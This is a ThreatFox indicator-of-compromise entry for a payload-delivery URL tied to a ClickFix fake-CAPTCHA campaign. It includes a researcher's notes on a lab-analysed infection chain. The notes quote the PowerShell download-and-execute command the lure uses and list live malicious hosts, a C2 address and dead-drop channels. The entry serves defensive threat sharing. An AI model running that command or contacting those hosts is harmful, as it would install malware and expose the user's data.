🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for url http://idcool.codes/7z.

Database Entry


IOC ID:1932439
IOC: http://idcool.codes/7z
IOC Type :url
Threat Type :payload_delivery
Malware: Unknown malware
Confidence Level : Confidence level is high (90%)
Is compromised? : False
ASN:AS202412 OMEGATECH-AS
Country:- GB
First seen:2026-09-25 06:28:19 UTC
Last seen:never
UUID:74f73757-b853-11f1-abee-42010aa4000a
Reporter MaciekG
Reward 5 credits from ThreatFox
Tags:ClickFix ErrTraffic
Reference: https://bazaar.abuse.ch/sample/7e56189288270e5da9e00a7b52dbd6de7b4e24c83ca697ec8d0cbbf811f6dd61/

Avatar
MaciekG
Recovered from a full lab run of a ClickFix chain served from compromised holtiga.pl (fake CAPTCHA -> irm idcool.codes/<id>|iex -> AES PowerShell stages -> build_ErrTraff.exe Go loader, 551 MB padded, fake 'Frost Stone Group' signature). Inner payload (sha256 7e56189288270e5da9e00a7b52dbd6de7b4e24c83ca697ec8d0cbbf811f6dd61, on MalwareBazaar) config extracted from process memory: dead drops t.me/nag0a and dev.epicgames.com hash_id=EMqJL, hardcoded C2 https://178.104.211.128/. Family unconfirmed (Vidar-like dead-drop pattern).